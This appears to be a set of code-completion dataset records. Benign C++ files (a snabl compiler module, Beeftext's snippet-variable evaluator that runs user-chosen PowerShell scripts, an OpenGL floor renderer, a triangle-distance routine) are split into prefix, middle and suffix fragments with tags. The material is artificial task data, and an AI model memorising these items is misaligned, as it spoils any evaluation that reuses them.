Body::dump(out); out << '}'; } void Scope::compile(Forms::const_iterator &in, Forms::const_iterator end, Env &env) const { auto &f(*in++); auto &sf(f.as<Scope>()); env.emit<ops::Scope>(f.pos); env.begin_regs(); env.compile(sf.body); env.end_regs(); env.emit<ops::ScopeEnd>(f.pos); } FormImp *Sexpr::clone() const { return new Sexpr(body.begin(), body.end()); } void Sexpr::dump(ostream &out) const { out << '('; Body::dump(out); out << ')'; } void Sexpr::compile(Forms::const_iterator &in, Forms::const_iterator end, Env &env) const { env.compile((in++)->as<Sexpr>().body); } FormImp *Split::clone() const { return new Split(body.begin(), body.end()); } void Split::dump(ostream &out) const { out << '|'; Body::dump(out); } void Split::compile(Forms::const_iterator &in, Forms::const_iterator end, Env &env) const { auto &f(*in++); auto &sf(f.as<Split>()); env.emit<ops::Split>(f.pos, sf.offs); env.compile(sf.body); env.emit<ops::SplitEnd>(f.pos); } FormImp *Stack::clone() const { return new Stack(body.begin(), body.end()); } void Stack::dump(ostream &out) const { out << '['; Body::dump(out); out << ']'; } void Stack::compile(Forms::const_iterator &in, Forms::const_iterator end, Env &env) const { auto &f(*in++); auto &b(f.as<Stack>().body); bool split(b.empty() || &b.front().type != &forms::Id::type || b.front().as<forms::Id>().id != env.sym("..")); if (split) { env.emit<ops::Split>(f.pos); } env.compile(split ? b.begin() : b.begin()+1, b.end()); env.emit<ops::Stack>(f.pos, split); } } }
() const { return new Id(id); } void Id::dump(ostream &out) const { out << id.name(); } void Id::compile(Forms::const_iterator &in, Forms::const_iterator end, Env &env) const { auto &form(*in); auto id(form.as<Id>().id); auto &idn(id.name()); auto found_lib(idn.rfind('.')); Lib *lib(&env.lib()); if (found_lib != string::npos && found_lib > 0 && idn[found_lib-1] != '.') { const auto lib_id(env.sym(idn.substr(0, found_lib))); lib = env.get_lib(lib_id); if (!lib)
random
[ { "content": "#include \"snabl/box.hpp\"\n\n#include \"snabl/env.hpp\"\n\n#include \"snabl/types/char.hpp\"\n\n\n\nnamespace snabl {\n\n CharType::CharType(Lib &lib, Sym id, const vector<AType *> &parents):\n\n Type<Char>(lib, id, parents) {\n\n eqval = [](auto &lhs, auto &rhs) { return lhs.as_char == rh...
C++
Beeftext/Combo/ComboVariable.cpp
xmidev/Beeftext
17dfcc74bf51c20186c35d34a3c2c39175d4fadd
#include "stdafx.h" #include "ComboVariable.h" #include "ComboManager.h" #include "VariableInputDialog.h" #include "PreferencesManager.h" #include "Clipboard/ClipboardManager.h" #include "BeeftextGlobals.h" #include <XMiLib/RandomNumberGenerator.h> #include <XMiLib/Exception.h> namespace { enum class ECaseChange { NoChange, ToUpper, ToLower }; QString const kCustomDateTimeVariable = "dateTime:"; QString const kInputVariable = "input:"; QString const kEnvVarVariable = "envVar:"; QString const kPowershellVariable = "powershell:"; QString resolveEscapingInVariableParameter(QString paramStr) { paramStr.replace(R"(\\)", R"(\)"); paramStr.replace(R"(\})", R"(})"); return paramStr; } QString qcharToDiscordEmoji(QChar const& c) { QChar const l = c.toLower(); if ((l >= 'a') && (l <= 'z')) return QString(":regional_indicator_%1: ").arg(l); QMap<QChar, QString> const substs = { { '0', ":zero: " }, { '1', ":one: " }, { '2', ":two: " }, { '3', ":three: " }, { '4', ":four: " }, { '5', ":five: " }, { '6', ":six: " }, { '7', ":seven: "}, { '8', ":eight: "}, { '9', ":nine: " }, { '!', ":exclamation: "}, { '?', ":question: " } }; return substs.value(c, " "); } QString discordEmojisFromClipboard() { QString str = ClipboardManager::instance().text(); QString result; for (QChar const& c : str) result += qcharToDiscordEmoji(c); return result; } QStringList splitTimeShiftString(QString const& shiftStr) { QStringList result; QString acc; for (QChar const c : shiftStr) { if (('+' == c) || ('-' == c)) { if (!acc.isEmpty()) { result.append(acc); acc = QString(); } } acc += c; } if (!acc.isEmpty()) result.append(acc); return result; } QDateTime shiftedDateTime(QString const& shiftStr) { QDateTime result = QDateTime::currentDateTime(); QStringList const shifts = splitTimeShiftString(shiftStr); for (QString const& shift : shifts) { QRegularExpressionMatch const match = QRegularExpression(R"(([+-])(\d+)([yMwdhmsz]))").match(shift); if (!match.hasMatch()) continue; bool ok = false; qint64 value = match.captured(2).toLongLong(&ok); if (!ok) continue; if (match.captured(1) == "-") value = -value; char const type = match.captured(3)[0].toLatin1(); switch (type) { case 'y': result = result.addYears(static_cast<qint32>(value)); break; case 'M': result = result.addMonths(static_cast<qint32>(value)); break; case 'w': result = result.addDays(value * 7); break; case 'd': result = result.addDays(value); break; case 'h': result = result.addSecs(3600 * value); break; case 'm': result = result.addSecs(60 * value); break; case 's': result = result.addSecs(value); break; case 'z': result = result.addMSecs(value); break; default: break; } } return result; } QString evaluateDateTimeVariable(QString const& variable) { QString const formatString = resolveEscapingInVariableParameter(variable.right(variable.size() - kCustomDateTimeVariable.size())); QRegularExpression const regExp(R"(^dateTime(:(([+-]\d+[yMwdhmsz])+))?:(.*)$)"); QRegularExpressionMatch const match = regExp.match(variable); if (!match.hasMatch()) return QString(); QDateTime const dateTime = match.captured(1).isEmpty() ? QDateTime::currentDateTime() : shiftedDateTime(match.captured(2)); QString const formatStr = match.captured(4); return formatStr.isEmpty() ? QLocale::system().toString(dateTime) : QLocale::system().toString(dateTime, formatStr); } QString evaluateComboVariable(QString const& variable, ECaseChange caseChange, QSet<QString> forbiddenSubCombos, QMap<QString, QString>& knownInputVariables, bool& outCancelled) { QString fallbackResult = QString("#{%1}").arg(variable); qint32 const varNameLength = variable.indexOf(':'); if (varNameLength < 0) return QString(); QString const comboName = resolveEscapingInVariableParameter(variable.right(variable.size() - varNameLength - 1)); if (forbiddenSubCombos.contains(comboName)) return fallbackResult; ComboList results; for (SpCombo const& combo : ComboManager::instance().comboListRef()) if (combo->keyword() == comboName) results.push_back(combo); qint32 const resultCount = results.size(); ComboList::const_iterator it; switch (resultCount) { case 0: return fallbackResult; case 1: it = results.begin(); break; default: { xmilib::RandomNumberGenerator rng(0, results.size() - 1); it = results.begin() + rng.get(); break; } } QString str = (*it)->evaluatedSnippet(outCancelled, forbiddenSubCombos << comboName, knownInputVariables); switch (caseChange) { case ECaseChange::ToUpper: return str.toUpper(); case ECaseChange::ToLower: return str.toLower(); case ECaseChange::NoChange: default: return str; } } QString evaluateInputVariable(QString const& variable, QMap<QString, QString>& knownInputVariables, bool& outCancelled) { QString const description = variable.right(variable.size() - kInputVariable.size()); if (knownInputVariables.contains(description)) return knownInputVariables[description]; QString result; if (!VariableInputDialog::run(resolveEscapingInVariableParameter(description), result)) { outCancelled = true; return QString(); } knownInputVariables.insert(description, result); return result; } QString evaluateEnvVarVariable(QString const& variable) { return QProcessEnvironment::systemEnvironment().value(variable.right(variable.size() - kEnvVarVariable.size())); } QString evaluatePowershellVariable(QString const& variable) { try { QString const path = variable.right(variable.size() - kPowershellVariable.size()); if (!QFileInfo(path).exists()) throw xmilib::Exception(QString("the file `%1` does not exist.").arg(path)); PreferencesManager const& prefs = PreferencesManager::instance(); QString exePath = "powershell.exe"; if (prefs.useCustomPowershellVersion()) { QString const customPath = prefs.customPowershellPath(); QFileInfo const fi(customPath); if (fi.exists() && fi.isExecutable()) exePath = customPath; else globals::debugLog().addWarning(QString("The custom PowerShell executable '%1' is invalid or not " "executable.").arg(QDir::toNativeSeparators(customPath))); } QProcess p; qDebug() << QString("Powershell executable: '%1'").arg(exePath); p.start(exePath, { "-NonInteractive", "-ExecutionPolicy", "Unrestricted", "-File", path }); if (!p.waitForFinished(10000)) throw xmilib::Exception(QString("the script `%1` timed out.").arg(path)); qint32 const returnCode = p.exitCode(); if (returnCode) throw xmilib::Exception(QString("execution of `%1` return an error (code %2).").arg(path).arg(returnCode)); return QString::fromUtf8(p.readAllStandardOutput()); } catch (xmilib::Exception const& e) { globals::debugLog().addWarning(QString("Evaluation of #{%1} variable failed: %2").arg(kPowershellVariable) .arg(e.qwhat())); return QString(); } } } QString evaluateVariable(QString const& variable, QSet<QString> const& forbiddenSubCombos, QMap<QString, QString>& knownInputVariables, bool& outCancelled) { outCancelled = false; QLocale const systemLocale = QLocale::system(); if (variable == "clipboard") return ClipboardManager::instance().text(); if (variable == "discordemoji") return discordEmojisFromClipboard(); if (variable == "date") return systemLocale.toString(QDate::currentDate()); if (variable == "time") return systemLocale.toString(QTime::currentTime()); if (variable == "dateTime") return systemLocale.toString(QDateTime::currentDateTime()); if (variable.startsWith(kCustomDateTimeVariable)) return evaluateDateTimeVariable(variable); if (variable.startsWith("combo:")) return evaluateComboVariable(variable, ECaseChange::NoChange, forbiddenSubCombos, knownInputVariables, outCancelled); if (variable.startsWith("upper:")) return evaluateComboVariable(variable, ECaseChange::ToUpper, forbiddenSubCombos, knownInputVariables, outCancelled); if (variable.startsWith("lower:")) return evaluateComboVariable(variable, ECaseChange::ToLower, forbiddenSubCombos, knownInputVariables, outCancelled); if (variable.startsWith("trim:")) { QString const var = evaluateComboVariable(variable, ECaseChange::NoChange, forbiddenSubCombos, knownInputVariables, outCancelled); return var.trimmed(); } if (variable.startsWith(kInputVariable)) return evaluateInputVariable(variable, knownInputVariables, outCancelled); if (variable.startsWith(kEnvVarVariable)) return evaluateEnvVarVariable(variable); if (variable.startsWith(kPowershellVariable)) return evaluatePowershellVariable(variable); return QString("#{%1}").arg(variable); }
#include "stdafx.h" #include "ComboVariable.h" #include "ComboManager.h" #include "VariableInputDialog.h" #include "PreferencesManager.h" #include "Clipboard/ClipboardManager.h" #include "BeeftextGlobals.h" #include <XMiLib/RandomNumberGenerator.h> #include <XMiLib/Exception.h> namespace { enum class ECaseChange { NoChange, ToUpper, ToLower }; QString const kCustomDateTimeVariable = "dateTime:"; QString const kInputVariable = "input:"; QString const kEnvVarVariable = "envVar:"; QString const kPowershellVariable = "powershell:"; QString resolveEscapingInVariableParameter(QString paramStr) { paramStr.replace(R"(\\)", R"(\)"); paramStr.replace(R"(\})", R"(})"); return paramStr; } QString qcharToDiscordEmoji(QChar const& c) { QChar const l = c.toLower(); if ((l >= 'a') && (l <= 'z')) return QString(":regional_indicator_%1: ").arg(l); QMap<QChar, QString> const substs = { { '0', ":zero: " }, { '1', ":one: " }, { '2', ":two: " }, { '3', ":three: " }, { '4', ":four: " }, { '5', ":five: " }, { '6', ":six: " }, { '7', ":seven: "}, { '8', ":eight: "}, { '9', ":nine: " }, { '!', ":exclamation: "}, { '?', ":question: " } }; return substs.value(c, " "); } QString discordEmojisFromClipboard() { QString str = ClipboardManager::instance().text(); QString result; for (QChar const& c : str) result += qcharToDiscordEmoji(c); return result; } QStringList splitTimeShiftString(QString const& shiftStr) { QStringList result; QString acc; for (QChar const c : shiftStr) { if (('+' == c) || ('-' == c)) { if (!acc.isEmpty()) { result.append(acc); acc = QString(); } } acc += c; } if (!acc.isEmpty()) result.append(acc); return result; } QDateTime shiftedDateTime(QString const& shiftStr) { QDateTime result = QDateTime::currentDateTime(); QStringList const shifts = splitTimeShiftString(shiftStr); for (QString const& shift : shifts) { QRegularExpressionMatch const match = QRegularExpression(R"(([+-])(\d+)([yMwdhmsz]))").match(shift); if (!match.hasMatch()) continue; bool ok = false; qint64 value = match.captured(2).toLongLong(&ok); if (!ok) continue; if (match.captured(1) == "-") value = -value; char const type = match.captured(3)[0].toLatin1(); switch (type) { case 'y': result = result.addYears(static_cast<qint32>(value)); break; case 'M': result = result.addMonths(static_cast<qint32>(value)); break; case 'w': result = result.addDays(value * 7); break; case 'd': result = result.addDays(value); break; case 'h': result = result.addSecs(3600 * value); break; case 'm': result = result.addSecs(60 * value); break; case 's': result = result.addSecs(value); break; case 'z': result = result.addMSecs(value); break; default: break; } } return result; } QString evaluateDateTimeVariable(QString const& variable) { QString const formatString = resolveEscapingInVariableParameter(variable.right(variable.size() - kCustomDateTimeVariable.size())); QRegularExpression const regExp(R"(^dateTime(:(([+-]\d+[yMwdhmsz])+))?:(.*)$)"); QRegularExpressionMatch const match = regExp.match(variable); if (!match.hasMatch()) return QString(); QDateTime const dateTime = match.captured(1).isEmpty() ? QDateTime::currentDateTime() : shiftedDateTime(match.captured(2)); QString const formatStr = match.captured(4); return formatStr.isEmpty() ? QLocale::system().toString(dateTime) : QLocale::system().toString(dateTime, formatStr); } QString evaluateComboVariable(QString const& variable, ECaseChange caseChange, QSet<QString> forbiddenSubCombos, QMap<QString, QString>& knownInputVariables, bool& outCancelled) { QString fallbackResult = QString("#{%1}").arg(variable); qint32 const varNameLength = variable.indexOf(':'); if (varNameLength < 0) return QString(); QString const comboName = resolveEscapingInVariableParameter(variable.right(variable.size() - varNameLength - 1)); if (forbiddenSubCombos.contains(comboName)) return fallbackResult; ComboList results; for (SpCombo const& combo : ComboManager::instance().comboListRef()) if (combo->keyword() == comboName) results.push_back(combo); qint32 const resultCount = results.size(); ComboList::const_iterator it; switch (resultCount) { case 0: return fallbackResult; case 1: it = results.begin(); break; default: { xmilib::RandomNumberGenerator rng(0, results.size() - 1); it = results.begin() + rng.get(); break; } } QString str = (*it)->evaluatedSnippet(outCancelled, forbiddenSubCombos << comboName, knownInputVariables); switch (caseChange) { case ECaseChange::ToUpper: return str.toUpper(); case ECaseChange::ToLower: return str.toLower(); case ECaseChange::NoChange: default: return str; } } QString evaluateInputVariable(QString const& variable, QMap<QString, QString>& knownInputVariables, bool& outCancelled) { QString const description = variable.right(variable.size() - kInputVariable.size()); if (knownInputVariables.contains(description)) return knownInputVariables[description]; QString result; if (!VariableInputDialog::run(resolveEscapingInVariableParameter(description), result)) { outCancelled = true; return QString(); } knownInputVariables.insert(description, result); return result; } QString evaluateEnvVarVariable(QString const& variable) { return QProcessEnvironment::systemEnvironment().value(variable.right(variable.size() - kEnvVarVariable.size())); } QString evaluatePowershellVariable(QString const& variable) { try { QString const path = variable.right(variable.size() - kPowershellVariable.size()); if (!QFileInfo(path).exists()) throw xmilib::Exception(QString("the file `%1` does not exist.").arg(path)); PreferencesManager const& prefs = PreferencesManager::instance(); QString exePath = "powershell.exe"; if (prefs.useCustomPowershellVersion()) { QString const customPath = prefs.customPowershellPath(); QFileInfo const fi(customPath); if (fi.exists() && fi.isExecutable()) exePath = customPath; else globals::debugLog().addWarning(QString("The custom PowerShell executable '%1' is invalid or not " "executable.").arg(QDir::toNativeSeparators(customPath))); } QProcess p; qDebug() << QString("Powershell executable: '%1'").arg(exePath); p.start(exePath, { "-NonInteractive", "-ExecutionPoli
if (variable.startsWith("combo:")) return evaluateComboVariable(variable, ECaseChange::NoChange, forbiddenSubCombos, knownInputVariables, outCancelled); if (variable.startsWith("upper:")) return evaluateComboVariable(variable, ECaseChange::ToUpper, forbiddenSubCombos, knownInputVariables, outCancelled); if (variable.startsWith("lower:")) return evaluateComboVariable(variable, ECaseChange::ToLower, forbiddenSubCombos, knownInputVariables, outCancelled); if (variable.startsWith("trim:")) { QString const var = evaluateComboVariable(variable, ECaseChange::NoChange, forbiddenSubCombos, knownInputVariables, outCancelled); return var.trimmed(); } if (variable.startsWith(kInputVariable)) return evaluateInputVariable(variable, knownInputVariables, outCancelled); if (variable.startsWith(kEnvVarVariable)) return evaluateEnvVarVariable(variable); if (variable.startsWith(kPowershellVariable)) return evaluatePowershellVariable(variable); return QString("#{%1}").arg(variable); }
cy", "Unrestricted", "-File", path }); if (!p.waitForFinished(10000)) throw xmilib::Exception(QString("the script `%1` timed out.").arg(path)); qint32 const returnCode = p.exitCode(); if (returnCode) throw xmilib::Exception(QString("execution of `%1` return an error (code %2).").arg(path).arg(returnCode)); return QString::fromUtf8(p.readAllStandardOutput()); } catch (xmilib::Exception const& e) { globals::debugLog().addWarning(QString("Evaluation of #{%1} variable failed: %2").arg(kPowershellVariable) .arg(e.qwhat())); return QString(); } } } QString evaluateVariable(QString const& variable, QSet<QString> const& forbiddenSubCombos, QMap<QString, QString>& knownInputVariables, bool& outCancelled) { outCancelled = false; QLocale const systemLocale = QLocale::system(); if (variable == "clipboard") return ClipboardManager::instance().text(); if (variable == "discordemoji") return discordEmojisFromClipboard(); if (variable == "date") return systemLocale.toString(QDate::currentDate()); if (variable == "time") return systemLocale.toString(QTime::currentTime()); if (variable == "dateTime") return systemLocale.toString(QDateTime::currentDateTime()); if (variable.startsWith(kCustomDateTimeVariable)) return evaluateDateTimeVariable(variable);
random
[ { "content": " enum class EType\n\n {\n\n Default, ///< The default clipboard manager.\n\n Legacy ///< The legacy clipboard manager.\n\n }; ///< Enumeration for the type of clipboard manager\n\n\n\npublic: // static members\n\n static ClipboardManager& instance(); ///< Return the instance of t...
C++
Object/Scene/Flat.cpp
glodxy/StarAnim
d6fcf632550f6cf3118629425529dfdaab1c7e5d
#include "Flat.h" #include "../../ShaderManager.h" Flat::Flat(const String& rootPath,float x, float y):BaseScene(rootPath){ _size.x=x; _size.y=y; initGroundShader(); initWireShader(); initVertices(); setupWireVAO(); setupVAO(); } void Flat::bindCamera(Camera *camera) { _camera=camera; } void Flat::setSize(Vec2 size) { _size=size; } void Flat::setSize(float x, float y) { _size.x=x; _size.y=y; } void Flat::setLineStrip(bool show) { _show=show; } void Flat::initVertices() { Vec3 a(1.0f,0.0f,1.0f); Vec3 b(1.0f,0.0f,-1.0f); Vec3 c(-1.0f,0.0f,1.0f); Vec3 d(-1.0f,0.0f,-1.0f); _vertices.push_back(a); _vertices.push_back(b); _vertices.push_back(c); _vertices.push_back(d); for(float i=-1.0;i<=1.0;i+=0.1){ Vec3 temp(1.0f,0.0f,i); Vec3 temp1(-1.0f,0.0f,i); _wireVertices.push_back(temp); _wireVertices.push_back(temp1); } for(float i=-1.0;i<=1.0;i+=0.1){ Vec3 temp(i,0.0f,1.0f); Vec3 temp1(i,0.0f,-1.0f); _wireVertices.push_back(temp); _wireVertices.push_back(temp1); } } void Flat::setupWireVAO() { ID VBO; glGenVertexArrays(1,&_WireVAO); glGenBuffers(1,&VBO); glBindVertexArray(_WireVAO); glBindBuffer(GL_ARRAY_BUFFER,VBO); glBufferData(GL_ARRAY_BUFFER,_wireVertices.size()*sizeof(Vec3),&_wireVertices[0],GL_STATIC_DRAW); glEnableVertexAttribArray(0); glVertexAttribPointer(0, 3, GL_FLOAT, GL_FALSE, 3 * sizeof(float), (void*)0); glBindVertexArray(0); } void Flat::initWireShader() { _wireFrameShader=ShaderManager::getShaderManager()->getShader("default_grid"); } void Flat::initGroundShader(){ _shader=ShaderManager::getShaderManager()->getShader("default_ground"); } Mat4 Flat::getModelMatrix() const { Mat4 model(1.0f); model=glm::scale(model,Vec3(_size[0],1.0f,_size[1])); return model; } void Flat::drawShadow(Shader *shader) const { shader->setMat4(getModelMatrix(),"model"); glBindVertexArray(_VAO); glDrawArrays(GL_TRIANGLE_STRIP,0,4); glBindVertexArray(0); } void Flat::draw(Shader* shader) const { glDepthFunc(GL_LEQUAL); Mat4 model(1.0f); model = glm::scale(model, Vec3(_size[0], 1.0f, _size[1])); _shader->Use(); _shader->setMat4(model, "model"); _shader->setMat4(_camera->getViewMatrix(), "view"); _shader->setMat4(_camera->getProjectionMatrix(), "projection"); _shader->setFloat(_size.x, "xSize"); _shader->setFloat(_size.y, "ySize"); glBindVertexArray(_VAO); glDrawArrays(GL_TRIANGLE_STRIP, 0, 4); glBindVertexArray(0); if(shader!=NULL){ shader->Use(); shader->setBool(true,"floor"); shader->setMat4(model,"model"); glBindVertexArray(_VAO); glDrawArrays(GL_TRIANGLE_STRIP, 0, 4); shader->setBool(false,"floor"); } if (_show) { _wireFrameShader->Use(); _wireFrameShader->setMat4(model, "model"); _wireFrameShader->setMat4(_camera->getViewMatrix(), "view"); _wireFrameShader->setMat4(_camera->getProjectionMatrix(), "projection"); _wireFrameShader->setFloat(_size.x, "xSize"); _wireFrameShader->setFloat(_size.y, "ySize"); glBindVertexArray(_WireVAO); glDrawArrays(GL_LINES, 0, _wireVertices.size()); } glDepthFunc(GL_LESS); glBindVertexArray(0); }
#include "Flat.h" #include "../../ShaderManager.h" Flat::Flat(const String& rootPath,float x, float y):BaseScene(rootPath){ _size.x=x; _size.y=y; initGroundShader(); initWireShader(); initVertices(); setupWireVAO(); setupVAO(); } void Flat::bindCamera(Camera *camera) { _camera=camera; } void Flat::setSize(Vec2 size) { _size=size; } void Flat::setSize(float x, float y) { _size.x=x; _size.y=y; } void Flat::setLineStrip(bool show) { _show=show; } void Flat::initVertices() { Vec3 a(1.0f,0.0f,1.0f); Vec3 b(1.0f,0.0f,-1.0f); Vec3 c(-1.0f,0.0f,1.0f); Vec3 d(-1.0f,0.0f,-1.0f); _vertices.push_back(a); _vertices.push_back(b); _vertices.push_back(c); _vertices.push_back(d); for(float i=-1.0;i<=1.0;i+=0.1){ Vec3 temp(1.0f,0.0f,i); Vec3 temp1(-1.0f,0.0f,i); _wireVertices.push_back(temp); _wireVertices.push_back(temp1); } for(float i=-1.0;i<=1.0;i+=0.1){ Vec3 temp(i,0.0f,1.0f); Vec3 temp1(i,0.0f,-1.0f); _wireVertices.push_back(temp); _wireVertices.push_back(temp1); } } void Flat::setupWireVAO() { ID VBO; glGenVertexArrays(1,&_WireVAO); glGenBuffers(1,&VBO); glBindVertexArray(_WireVAO); glBindBuffer(GL_ARRAY_BUFFER,VBO); glBufferData(GL_ARRAY_BUFFER,_wireVertices.size()*sizeof(Vec3),&_wireVertices[0],GL_STATIC_DRAW); glEnableVertexAttribArray(0); glVertexAttribPointer(0, 3, GL_FLOAT, GL_FALSE, 3 * sizeof(float), (void*)0); glBindVertexArray(0); } void Flat::initWireShader() { _wireFrameShader=ShaderManager::getShaderManager()->getShader("default_grid"); } void Flat::initGroundShader(){ _shader=ShaderManager::getShaderManager()->getShader("default_ground"); } Mat4 Flat::getModelMatrix() const { Mat4 model(1.0f); model=glm::scale(model,Vec3(_size[0],1.0f,_size[1])); return model; }
void Flat::draw(Shader* shader) const { glDepthFunc(GL_LEQUAL); Mat4 model(1.0f); model = glm::scale(model, Vec3(_size[0], 1.0f, _size[1])); _shader->Use(); _shader->setMat4(model, "model"); _shader->setMat4(_camera->getViewMatrix(), "view"); _shader->setMat4(_camera->getProjectionMatrix(), "projection"); _shader->setFloat(_size.x, "xSize"); _shader->setFloat(_size.y, "ySize"); glBindVertexArray(_VAO); glDrawArrays(GL_TRIANGLE_STRIP, 0, 4); glBindVertexArray(0); if(shader!=NULL){ shader->Use(); shader->setBool(true,"floor"); shader->setMat4(model,"model"); glBindVertexArray(_VAO); glDrawArrays(GL_TRIANGLE_STRIP, 0, 4); shader->setBool(false,"floor"); } if (_show) { _wireFrameShader->Use(); _wireFrameShader->setMat4(model, "model"); _wireFrameShader->setMat4(_camera->getViewMatrix(), "view"); _wireFrameShader->setMat4(_camera->getProjectionMatrix(), "projection"); _wireFrameShader->setFloat(_size.x, "xSize"); _wireFrameShader->setFloat(_size.y, "ySize"); glBindVertexArray(_WireVAO); glDrawArrays(GL_LINES, 0, _wireVertices.size()); } glDepthFunc(GL_LESS); glBindVertexArray(0); }
void Flat::drawShadow(Shader *shader) const { shader->setMat4(getModelMatrix(),"model"); glBindVertexArray(_VAO); glDrawArrays(GL_TRIANGLE_STRIP,0,4); glBindVertexArray(0); }
function_block-full_function
[ { "content": "class Camera {\n\npublic:\n\n Camera();\n\n Camera(const Camera&);\n\n Camera(const glm::vec3& position);\n\n void move(float x,float y,float z);\n\n void move(const glm::vec3& direction);\n\n glm::mat4 getViewMatrix()const;\n\n glm::mat4 getProjectionMatrix()const;\n\n\n\n ...
C++
Wml/Source/Distance/WmlDistTri3Tri3.cpp
1iyiwei/deform2d
1a350dd20f153e72de1ea9cffb873eb67bf3d668
#include "WmlDistTri3Tri3.h" #include "WmlDistLin3Tri3.h" using namespace Wml; template <class Real> Real Wml::SqrDistance (const Triangle3<Real>& rkTri0, const Triangle3<Real>& rkTri1, Real* pfTri0P0, Real* pfTri0P1, Real* pfTri1P0, Real* pfTri1P1) { Real fS, fT, fU, fV, fS0, fT0, fU0, fV0, fSqrDist, fSqrDist0; Segment3<Real> kSeg; kSeg.Origin() = rkTri0.Origin(); kSeg.Direction() = rkTri0.Edge0(); fSqrDist = SqrDistance(kSeg,rkTri1,&fS,&fU,&fV); fT = (Real)0.0; kSeg.Direction() = rkTri0.Edge1(); fSqrDist0 = SqrDistance(kSeg,rkTri1,&fT0,&fU0,&fV0); fS0 = (Real)0.0; if ( fSqrDist0 < fSqrDist ) { fSqrDist = fSqrDist0; fS = fS0; fT = fT0; fU = fU0; fV = fV0; } kSeg.Origin() = kSeg.Origin() + rkTri0.Edge0(); kSeg.Direction() = kSeg.Direction() - rkTri0.Edge0(); fSqrDist0 = SqrDistance(kSeg,rkTri1,&fT0,&fU0,&fV0); fS0 = (Real)1.0-fT0; if ( fSqrDist0 < fSqrDist ) { fSqrDist = fSqrDist0; fS = fS0; fT = fT0; fU = fU0; fV = fV0; } kSeg.Origin() = rkTri1.Origin(); kSeg.Direction() = rkTri1.Edge0(); fSqrDist0 = SqrDistance(kSeg,rkTri0,&fU0,&fS0,&fT0); fV0 = (Real)0.0; if ( fSqrDist0 < fSqrDist ) { fSqrDist = fSqrDist0; fS = fS0; fT = fT0; fU = fU0; fV = fV0; } kSeg.Direction() = rkTri1.Edge1(); fSqrDist0 = SqrDistance(kSeg,rkTri0,&fV0,&fS0,&fT0); fU0 = (Real)0.0; if ( fSqrDist0 < fSqrDist ) { fSqrDist = fSqrDist0; fS = fS0; fT = fT0; fU = fU0; fV = fV0; } kSeg.Origin() = kSeg.Origin() + rkTri1.Edge0(); kSeg.Direction() = kSeg.Direction() - rkTri1.Edge0(); fSqrDist0 = SqrDistance(kSeg,rkTri0,&fV0,&fS0,&fT0); fU0 = (Real)1.0-fV0; if ( fSqrDist0 < fSqrDist ) { fSqrDist = fSqrDist0; fS = fS0; fT = fT0; fU = fU0; fV = fV0; } if ( pfTri0P0 ) *pfTri0P0 = fS; if ( pfTri0P1 ) *pfTri0P1 = fT; if ( pfTri1P0 ) *pfTri1P0 = fU; if ( pfTri1P1 ) *pfTri1P1 = fV; return Math<Real>::FAbs(fSqrDist); } template <class Real> Real Wml::Distance (const Triangle3<Real>& rkTri0, const Triangle3<Real>& rkTri1, Real* pfTri0P0, Real* pfTri0P1, Real* pfTri1P0, Real* pfTri1P1) { return Math<Real>::Sqrt(SqrDistance(rkTri0,rkTri1,pfTri0P0,pfTri0P1, pfTri1P0,pfTri1P1)); } namespace Wml { template WML_ITEM float SqrDistance<float> (const Triangle3<float>&, const Triangle3<float>&, float*, float*, float*, float*); template WML_ITEM float Distance<float> (const Triangle3<float>&, const Triangle3<float>&, float*, float*, float*, float*); template WML_ITEM double SqrDistance<double> (const Triangle3<double>&, const Triangle3<double>&, double*, double*, double*, double*); template WML_ITEM double Distance<double> (const Triangle3<double>&, const Triangle3<double>&, double*, double*, double*, double*); }
#include "WmlDistTri3Tri3.h" #include "WmlDistLin3Tri3.h" using namespace Wml; template <class Real> Real Wml::SqrDistance (const Triangle3<Real>& rkTri0, const Triangle3<Real>& rkTri1, Real* pfTri0P0, Real* pfTri0P1, Real* pfTri1P0, Real* pfTri1P1) { Real fS, fT, fU, fV, fS0, fT0, fU0, fV0, fSqrDist, fSqrDist0; Segment3<Real> kSeg; kSeg.Origin() = rkTri0.Origin(); kSeg.Direction() = rkTri0.Edge0(); fSqrDist = SqrDistance(kSeg,rkTri1,&fS,&fU,&fV); fT = (Real)0.0; kSeg.Direction() = rkTri0.Edge1(); fSqrDist0 = SqrDistance(kSeg,rkTri1,&fT0,&fU0,&fV0); fS0 = (Real)0.0; if ( fSqrDist0 < fSqrDist ) { fSqrDist = fSqrDist0; fS = fS0; fT = fT0; fU = fU0; fV = fV0; } kSeg.Origin() = kSeg.Origin() + rkTri0.Edge0(); kSeg.Direction() = kSeg.Direction() - rkTri0.Edge0(); fSqrDist0 = SqrDistance(kSeg,rkTri1,&fT0,&fU0,&fV0); fS0 = (Real)1.0-fT0; if ( fSqrDist0 < fSqrDist ) { fSqrDist = fSqrDist0; fS = fS0; fT = fT0; fU = fU0; fV = fV0; } kSeg.Origin() = rkTri1.Origin(); kSeg.Direction() = rkTri1.Edge0(); fSqrDist0 = SqrDistance(kSeg,rkTri0,&fU0,&fS0,&fT0); fV0 = (Real)0.0; if ( fSqrDist0 < fSqrDist ) { fSqrDist = fSqrDist0; fS = fS0; fT = fT0; fU = fU0; fV = fV0; } kSeg.Direction() = rkTri1.Edge1(); fSqrDist0 = SqrDistance(kSeg,rkTri0,&fV0,&fS0,&fT0); fU0 = (Real)0.0; if ( fSqrDist0 < fSqrDist ) { fSqrDist = fSqrDist0; fS = fS0; fT = fT0; fU = fU0; fV = fV0; } kSeg.Origin() = kSeg.Origin() + rkTri1.Edge0(); kSeg.Direction() = kSeg.Direction() - rkTri1.Edge0(); fSqrDist0 = SqrDistance(kSeg,rkTri0,&fV0,&fS0,&fT0); fU0 = (Real)1.0-fV0; if ( fSqrDist0 < fSqrDist ) { fSqrDist = fSqrDist0; fS = fS0; fT = fT0; fU = fU0; fV = fV0; } if ( pfTri0P0 ) *pfTri0P0 = fS; if ( pfTri0P1 ) *pfTri0P1 = fT; if ( pfTri1P0 ) *pfTri1P0 = fU; if ( pfTri1P1 ) *pfTri1P1 = fV; return Math<Real>::FAbs(fSqrDist); } template <class Real>
namespace Wml { template WML_ITEM float SqrDistance<float> (const Triangle3<float>&, const Triangle3<float>&, float*, float*, float*, float*); template WML_ITEM float Distance<float> (const Triangle3<float>&, const Triangle3<float>&, float*, float*, float*, float*); template WML_ITEM double SqrDistance<double> (const Triangle3<double>&, const Triangle3<double>&, double*, double*, double*, double*); template WML_ITEM double Distance<double> (const Triangle3<double>&, const Triangle3<double>&, double*, double*, double*, double*); }
